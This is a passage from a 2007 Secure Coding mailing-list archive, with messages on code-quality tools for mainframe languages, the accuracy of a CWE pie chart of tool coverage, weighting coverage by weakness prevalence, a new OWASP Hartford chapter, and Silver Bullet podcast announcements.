intriguing for them to extend their coverage to PL1 though. Assembler
and Natural would be a waste of time as most enterprises that do have
mainframes should have upgraded back in the 80s


________________________________

From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of avi shvartz
Sent: Sunday, December 09, 2007 3:38 AM
To: sc-l at securecoding.org
Subject: [SC-L] Code Coverage and Code Quality tools



Hello list,

Apologies if a little bit off topic, but I will appreciate any help.

I wonder what tools are used for Code Coverage and Code Quality for 

 various languages in the enterprise.
IBM mainframe : COBOL, PL1, NATURAL, ASSEMBLER, JAVA.

Open : JAVA, VB6, C++, C#, VB.NET..

Regards,

Avi Shvartz



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071214/f4c92a01/attachment.html 

From coley at linus.mitre.org  Mon Dec 17 18:07:11 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 17 Dec 2007 18:07:11 -0500 (EST)
Subject: [SC-L] Interesting Blog Entry on Tools Coverage
In-Reply-To: <7E17878DC3BD7640949FBBE9F7FCABC6186519@AD1HFDEXC306.ad1.prod>
References: <41945506397C0C4886A8C5BFF089B5CA310162AE41@va-mailhub.cigital.com>
	<6378f48a0712131958h28faafa7y1e90965342427adf@mail.gmail.com>
	<7E17878DC3BD7640949FBBE9F7FCABC6186519@AD1HFDEXC306.ad1.prod>
Message-ID: <Pine.GSO.4.51.0712171750380.19459@faron.mitre.org>


All,

The original blog entry stems from a CWE pie chart that won't die until we
replace it with a more well-grounded pie chart.

We posted a followup here:


http://www.matasano.com/log/912/finger-79tcp-christeymartin-evolution-of-the-cwe-pie-chart/


In short, CWE contains several types of nodes at multiple levels of
abstraction, including general categories ("input validation problems")
and arbitrary groupings ("problems related to memory management").  The
original pie chart mixed these node types with 'real' weaknesses, and we
included it in a CWE briefing as a demonstrative example of the utility of
CWE in comparing code analysis tools.

While that pie chart is still partially usable for showing a relative lack
of overlap between tools (modulo the abstraction problem), the "only 45%
of weakness types are found by tools" figure is probably low, since CWE
currently has many nodes that are organizational in nature, so they would
be excluded from any comparative analysis.  (Although we're also probably
relatively shallow with respect to design issues compared to
implementation bugs, which might pull the numbers in another direction as
CWE continues to fill in the gaps).

As vaguely implied in the followup blog entry above, we will be working on
a new pie chart with a better selection of CWE nodes, which should
generate more credible numbers.  We've been doing the ground work, e.g.
explicitly identifying the types of nodes that could then be excluded from
such analyses, but I can't be sure of when we'll have a new-and-improved
pie chart.  Rest assured that we are highly motivated to replace the
existing chart, however, and I think we've learned our lesson about
releasing "demonstrative statistics" in new technology areas that don't
have any.

- Steve

From cwysopal at Veracode.com  Tue Dec 18 13:50:44 2007
From: cwysopal at Veracode.com (Chris Wysopal)
Date: Tue, 18 Dec 2007 13:50:44 -0500
Subject: [SC-L] Interesting Blog Entry on Tools Coverage
In-Reply-To: <Pine.GSO.4.51.0712171750380.19459@faron.mitre.org>
References: <41945506397C0C4886A8C5BFF089B5CA310162AE41@va-mailhub.cigital.com><6378f48a0712131958h28faafa7y1e90965342427adf@mail.gmail.com><7E17878DC3BD7640949FBBE9F7FCABC6186519@AD1HFDEXC306.ad1.prod>
	<Pine.GSO.4.51.0712171750380.19459@faron.mitre.org>
Message-ID: <79348E23E9D34F4F8032010B2913D72B43AA9E@NexusCore.Veracode.local>


I think the pie chart by vulnerability category is too simplistic a
view.  One also needs to look at the prevalence of each of the
categories inspected for.  If a tool was able to find the top 25 most
prevalent categories of risk (as reported in CVE for 2006) it would be
finding 70% of reported vulnerabilities while having a category coverage
of less than 5%.  A tool that could inspect for the 95% least prevalent
vulnerability categories would only be finding 30% of the reported
vulnerabilities.  Which tool would you like to run on your code?

-Chris

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Steven M. Christey
Sent: Monday, December 17, 2007 6:07 PM
To: McGovern, James F (HTSC, IT)
Cc: Secure Coding
Subject: Re: [SC-L] Interesting Blog Entry on Tools Coverage


All,

The original blog entry stems from a CWE pie chart that won't die until
we replace it with a more well-grounded pie chart.

We posted a followup here:


http://www.matasano.com/log/912/finger-79tcp-christeymartin-evolution-of
-the-cwe-pie-chart/


In short, CWE contains several types of nodes at multiple levels of
abstraction, including general categories ("input validation problems")
and arbitrary groupings ("problems related to memory management").  The
original pie chart mixed these node types with 'real' weaknesses, and we
included it in a CWE briefing as a demonstrative example of the utility
of CWE in comparing code analysis tools.

While that pie chart is still partially usable for showing a relative
lack of overlap between tools (modulo the abstraction problem), the
"only 45% of weakness types are found by tools" figure is probably low,
since CWE currently has many nodes that are organizational in nature, so
they would be excluded from any comparative analysis.  (Although we're
also probably relatively shallow with respect to design issues compared
to implementation bugs, which might pull the numbers in another
direction as CWE continues to fill in the gaps).

As vaguely implied in the followup blog entry above, we will be working
on a new pie chart with a better selection of CWE nodes, which should
generate more credible numbers.  We've been doing the ground work, e.g.
explicitly identifying the types of nodes that could then be excluded
from such analyses, but I can't be sure of when we'll have a
new-and-improved pie chart.  Rest assured that we are highly motivated
to replace the existing chart, however, and I think we've learned our
lesson about releasing "demonstrative statistics" in new technology
areas that don't have any.

- Steve
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List
information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com) as a free, non-commercial service to the software
security community.
_______________________________________________


From James.McGovern at thehartford.com  Wed Dec 19 15:57:13 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 19 Dec 2007 15:57:13 -0500
Subject: [SC-L] Secure Coding in the Hartford CT Area
In-Reply-To: <6378f48a0712131958h28faafa7y1e90965342427adf@mail.gmail.com>
References: <41945506397C0C4886A8C5BFF089B5CA310162AE41@va-mailhub.cigital.com> 
	<6378f48a0712131958h28faafa7y1e90965342427adf@mail.gmail.com>
Message-ID: <7E17878DC3BD7640949FBBE9F7FCABC66B893F@AD1HFDEXC306.ad1.prod>

 I am launching the Hartford CT area chapter of OWASP and figured I
would ask if anyone on this list is from my side of town. Likewise, if
you know of others that would like to attend our users group, have them
subscribe to our mailing list: http://www.owasp.org/index.php/Hartford

I am pretty well connected to the enterprisey folks but tend to not run
across the local startups, small shops, the university professor crowd,
game development companies, etc.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gem at cigital.com  Thu Dec 20 20:25:39 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 20 Dec 2007 20:25:39 -0500
Subject: [SC-L] FW: OnSecurity Podcast
Message-ID: <41945506397C0C4886A8C5BFF089B5CA310162B4B4@va-mailhub.cigital.com>

Hi sc-l,

Merry solstice to everyone.  AWL has published another one of the videos we shot at RSA way back last February.  The URL is below (and here):
http://www.informit.com/podcasts/episode.aspx?e=877e9cce-7f1a-4d3b-821e-2d0d9ae74655&rl=1

Security Focus also just posted an interview about EOG:
http://www.securityfocus.com/columnists/461

Here's to even more software security success in 2008!

gem

company www.cigital.com<http://www.cigital.com>
podcast www.cigital.com/silverbullet<http://www.cigital.com/silverbullet>
blog www.cigital.com/justiceleague<http://www.cigital.com/justiceleague>
book www.swsec.com<http://www.swsec.com>


________________________________
From: Garulay, Eric [mailto:eric.garulay at pearson.com]
Sent: Wednesday, December 19, 2007 1:50 PM
To: Gary McGraw
Subject: OnSecurity Podcast

Hello Gary-
We've just published another episode with you in OnSecurity.
Merry Christmas & Happy New Year!
EG

Software Security: Building Security In (video)<http://www.informit.com/podcasts/episode.aspx?e=877e9cce-7f1a-4d3b-821e-2d0d9ae74655>

The world's leading Software Security authority, Dr. Gary McGraw, CTO Cigital, Inc. discusses the need for security throughout the software development lifecycle, and how to break the barriers to security implementation in software engineering.


[image001.jpg]
 [image002.gif] <http://www.informit.com/podcasts/index_rss.aspx?c=6> RSS Details<http://www.informit.com/rss/index.aspx>

Eric D. Garulay
Digital Marketing Manager, Pearson Education

Addison-Wesley Professional<http://www.awprofessional.com/> |  Cisco Press<http://www.ciscopress.com/> | Exam Cram<http://www.examcram2.com/> | IBM Press<http://www.ibmpressbooks.com/> | Prentice Hall Professional<http://www.phptr.com/> | Que<http://www.quepublishing.com/> | Sams<http://www.samspublishing.com/>

Publishing Imprints of Pearson Education

eric.garulay at pearsoned.com

Ph 617 848 6425

Fx 617 848 6569


***********************************************************************
This email may contain confidential material.
If you were not an intended recipient,
please notify the sender and delete all copies.
We may monitor email to and from our network.

***********************************************************************



-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071220/4e15bdef/attachment-0001.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: image001.jpg
Type: image/jpeg
Size: 60213 bytes
Desc: image001.jpg
Url : http://krvw.com/pipermail/sc-l/attachments/20071220/4e15bdef/attachment-0001.jpg 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: image002.gif
Type: image/gif
Size: 963 bytes
Desc: image002.gif
Url : http://krvw.com/pipermail/sc-l/attachments/20071220/4e15bdef/attachment-0001.gif 

From gem at cigital.com  Fri Dec 21 14:13:12 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 21 Dec 2007 14:13:12 -0500
Subject: [SC-L] Silver Bullet Happy Holidays
Message-ID: <41945506397C0C4886A8C5BFF089B5CA310168924D@va-mailhub.cigital.com>

Hi sc-l,

We put together this short silver bullet video yesterday:
http://www.cigital.com/silverbullet/happy-holidays-from-silver-bullet/

Merry New Year.  Pass it on!

gem



From gem at cigital.com  Fri Dec 21 18:01:33 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 21 Dec 2007 18:01:33 -0500
Subject: [SC-L] Silver Bullet Episode 21: Cigital principals
Message-ID: <41945506397C0C4886A8C5BFF089B5CA310162B5A1@va-mailhub.cigital.com>

Hi sc-l,

Episode 21 of Silver Bullet features a conversation with the Cigital principals (purveyors of the Justice League blog).  We talk almost exclusively about software security, including a discussion of CLASP, the SDL, the Touchpoints, OWASP, Architectural Risk Analysis and Threat modeling.  Should be good listening for sc-l types.

http://www.cigital.com/silverbullet/show-021/

Merry New Year from Silver Bullet

http://www.cigital.com/silverbullet/happy-holidays-from-silver-bullet/

gem

company www.cigital.com
podcast www.cigital.com/silvebullet
blog www.cigital.com/justiceleague
book www.swsec.com